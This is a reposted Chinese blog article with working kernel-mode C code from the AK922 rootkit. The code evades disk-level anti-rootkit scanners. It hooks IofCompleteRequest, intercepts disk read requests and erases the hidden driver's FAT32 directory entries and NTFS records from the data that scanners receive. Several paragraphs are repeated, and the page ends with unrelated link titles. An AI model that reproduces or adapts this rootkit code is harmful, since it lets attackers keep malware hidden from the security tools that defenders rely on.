突破磁盘低级检测实现文件隐藏
来源:互联网 发布:java 泛型定义 编辑:程序博客网 时间:2024/04/25 16:50
目前,一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法:第一种是文件系统层的检测,属于这一类的有icesword,darkspy,gmer等。第二种便是磁盘级别的低级检测(Disk Low-Level Scanning),属于这一类的ark也很多,典型代表为rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。当然,还有一些工具,它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。
驱动也好,应用也罢,说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中(fastfat.sys/ntfs.sys),第二类被发送到磁盘驱动(disk.sys),而后IRP便会携带相应的文件信息返回,这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层,IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息,所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法,当然,这也是在AK922中使用的。
对于要实现文件隐藏的RK,与其说是“绕过”,还不如说是“拦截” -- 挂钩某些内核函数调用,以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。
AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思,因为它不仅是一个几乎在任何驱动中都要调用的函数,而且参数中正好含有IRP。有了IRP,就有了一切。这些特性决定了它很适合做我们的“傀儡”。但更重要的是,一般在驱动中调用IofCompleteRequest之时IRP操作都已完毕,IRP中相关域已经填充了内容,这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。
下面就着重说一下工作流程:
首先,判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象,因为这才是我们要处理的核心IRP,所有ark直接发送到Disk层的IRP在这里都可以被拦截到。
接下来的处理要特别注意,进入到这里时IRQL是在APC_LEVEL以上的,因此我们不能碰任何IRP中的用户模式缓冲区,一碰极有可能蓝,也就是说我们不能直接处理相关磁盘扇区信息,而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外,由于Disk层在设备堆栈中处于靠下的位置,大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了,这里的发起者应理解为ark进程。幸运的是在IRP的Tail.Overlay.Thread域中还保存着原始ETHREAD指针,为了操作用户模式缓冲区,必须调用KeAttachProcess切到IRP发起者的上下文环境中,而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上,做的事越少越好。
刚开始我还分两种情况进行处理:因为并不是所有的IRP都不处在原始上下文中,比如icesword发的IRP到这里还是处在icesword.exe进程中的,这时我认为可以不用排队工作项,这样就可以节省很多系统资源,提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区,但这根本行不通。驱动很不稳定,不一会就蓝了。故索性老老实实地排队去了,然后再分情况处理。代码如下:
在FAT32卷上,当AK922搜索到文件AK922.sys的目录项时,将其0x0偏移处的文件名的第一个字节置为"0xe5",即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽,不让winhex察觉出来,最好把文件名全部清0。
处理NTFS卷稍微麻烦些,文件记录和索引项都要抹干净,具体实现见代码,这里不再赘述。
驱动也好,应用也罢,说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中(fastfat.sys/ntfs.sys),第二类被发送到磁盘驱动(disk.sys),而后IRP便会携带相应的文件信息返回,这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层,IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息,所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法,当然,这也是在AK922中使用的。
对于要实现文件隐藏的RK,与其说是“绕过”,还不如说是“拦截” -- 挂钩某些内核函数调用,以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。
AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思,因为它不仅是一个几乎在任何驱动中都要调用的函数,而且参数中正好含有IRP。有了IRP,就有了一切。这些特性决定了它很适合做我们的“傀儡”。但更重要的是,一般在驱动中调用IofCompleteRequest之时IRP操作都已完毕,IRP中相关域已经填充了内容,这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。
下面就着重说一下工作流程:
首先,判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象,因为这才是我们要处理的核心IRP,所有ark直接发送到Disk层的IRP在这里都可以被拦截到。
接下来的处理要特别注意,进入到这里时IRQL是在APC_LEVEL以上的,因此我们不能碰任何IRP中的用户模式缓冲区,一碰极有可能蓝,也就是说我们不能直接处理相关磁盘扇区信息,而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外,由于Disk层在设备堆栈中处于靠下的位置,大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了,这里的发起者应理解为ark进程。幸运的是在IRP的Tail.Overlay.Thread域中还保存着原始ETHREAD指针,为了操作用户模式缓冲区,必须调用KeAttachProcess切到IRP发起者的上下文环境中,而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上,做的事越少越好。
刚开始我还分两种情况进行处理:因为并不是所有的IRP都不处在原始上下文中,比如icesword发的IRP到这里还是处在icesword.exe进程中的,这时我认为可以不用排队工作项,这样就可以节省很多系统资源,提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区,但这根本行不通。驱动很不稳定,不一会就蓝了。故索性老老实实地排队去了,然后再分情况处理。代码如下:
// 处理Disk Low-Level Scanningif(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0){ orgnThread = Irp->Tail.Overlay.Thread; orgnProcess = IoThreadToProcess(orgnThread); if(Irp->MdlAddress) { UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset); // UserBuffer必须有效 if(UserBuffer) { if(KeGetCurrentIrql() == DISPATCH_LEVEL) { RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX)); WorkerCtx->UserBuffer = UserBuffer; WorkerCtx->Length = irpSp->Parameters.Read.Length; WorkerCtx->EProc = orgnProcess; ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx); ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue); } } }}来到工作者线程,到了PASSIVE_LEVEL级上,切换上下文之后,似乎安全多了。但是以防万一,操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下:
VOID WorkerThread(PVOID Context){ KIRQL irql; PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc; PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc; //PMDL mdl; if(((PWORKERCTX)Context)->UserBuffer) { if(eproc != currProc) { KeAttachProcess(eproc); __try{ // ProbeForWrite must be running <= APC_LEVEL ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1); HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length); } __except(EXCEPTION_EXECUTE_HANDLER){ //DbgPrint("we can't op the buffer now :-("); KeDetachProcess(); return; } KeDetachProcess(); }else{ __try{ // ProbeForWrite must be running <= APC_LEVEL ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1); HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length); } __except(EXCEPTION_EXECUTE_HANDLER){} } }}
准备工作终于算是做得差不多了,下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构,我先把要用到的主要结构列出来,其余的大家可以参考《NTFS Documentation》。
typedef struct _INDEX_HEADER{ UCHAR magic[4]; USHORT UpdateSequenceOffset; USHORT SizeInWords; LARGE_INTEGER LogFileSeqNumber; LARGE_INTEGER VCN; ULONG IndexEntryOffset; // needed! ULONG IndexEntrySize; ULONG AllocateSize;}INDEX_HEADER, *PINDEX_HEADER;typedef struct _INDEX_ENTRY{ LARGE_INTEGER MFTReference; USHORT Size; // needed! USHORT FileNameOffset; USHORT Flags; USHORT Padding; LARGE_INTEGER MFTReferParent; LARGE_INTEGER CreationTime; LARGE_INTEGER ModifyTime; LARGE_INTEGER FileRecModifyTime; LARGE_INTEGER AccessTime; LARGE_INTEGER AllocateSize; LARGE_INTEGER RealSize; LARGE_INTEGER FileFlags; UCHAR FileNameLength; UCHAR NameSpace; WCHAR FileName[1];}INDEX_ENTRY, *PINDEX_ENTRY;在读取磁盘文件信息时每次都是以一个扇区大小(512 bytes)的整数倍进行的,如果不了解相应卷的组织形式和数据结构,那么感觉就是数据多而繁杂,搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系统BSOD的概率会大大增加。
在FAT32卷上,当AK922搜索到文件AK922.sys的目录项时,将其0x0偏移处的文件名的第一个字节置为"0xe5",即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽,不让winhex察觉出来,最好把文件名全部清0。
处理NTFS卷稍微麻烦些,文件记录和索引项都要抹干净,具体实现见代码,这里不再赘述。
VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen){ ULONG i; BOOLEAN bIsNtfsIndex; BOOLEAN bIsNtfsFile; ULONG offset = 0; ULONG indexSize = 0; PINDEX_ENTRY currIndxEntry = NULL; PINDEX_ENTRY preIndxEntry = NULL; ULONG currPosition; bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0); bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0); if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE) { for(i = 0; i < BufLen/0x20; i++) { if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3)) { *(PUCHAR)UserBuf = 0xe5; *(PULONG)((ULONG)UserBuf + 0x1) = 0; break; } UserBuf = (PVOID)((ULONG)UserBuf + 0x20); } } else if(bIsNtfsFile) { //DbgPrint("FILE0..."); for(i = 0; i < BufLen / FILERECORDSIZE; i++) { if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9)) { memset((PVOID)UserBuf, 0, 0x4); memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18); break; } UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE); } } else if(bIsNtfsIndex) { //DbgPrint("INDX..."); // Index Entries offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18; indexSize = BufLen - offset; currPosition = 0; currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset); //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize); while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0) { if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9)) { memset((PVOID)currIndxEntry->FileName, 0, 18); if(currPosition == 0) { ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size; break; } preIndxEntry->Size += currIndxEntry->Size; break; } currPosition += currIndxEntry->Size; preIndxEntry = currIndxEntry; currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size); } }}
0 0
- 突破磁盘低级检测实现文件隐藏
- 突破磁盘低级检测实现文件隐藏
- AK922: 突破磁盘低级检测实现文件隐藏
- 突破icesword实现文件隐藏
- 突破icesword实现文件隐藏
- 突破icesword实现文件隐藏(转载)
- 通过虚拟磁盘彻底实现文件隐藏
- 实现磁盘搜索文件
- 较快速恢复磁盘被隐藏文件
- 磁盘根目录下隐藏病毒文件删除
- 检测磁盘文件是否发生变化
- Java检测插入可移动磁盘实现
- 磁盘检测
- [MFC]CFile类实现低级文件I/O
- java实现磁盘文件检索!
- subst实现文件映射磁盘
- 在win7上利用虚拟磁盘隐藏文件
- 低级文件操作
- HD ACM C++ 1014
- 面试问题积累:HTTP中GET与POST的区别
- Weex Android初体验
- Spring 事务管理高级应用难点剖析: 第 1 部分
- SQL 语句常用 的
- 突破磁盘低级检测实现文件隐藏
- 427.Generate Parentheses-生成括号(中等题)
- 自定义View
- hibernate对象更新的3种方式
- C-E5. 远程 SSH 访问 ❀ C3750-E ❀ 思科 (CISCO) 交换机
- 变色的按钮
- 交通事故人身损害赔偿协议的效力如何
- Android异常--帧动画标签<animation-list>在AndroidStudio下不识别Element animation-list must be declared
- checkbox 操作【全选 获取选中的值】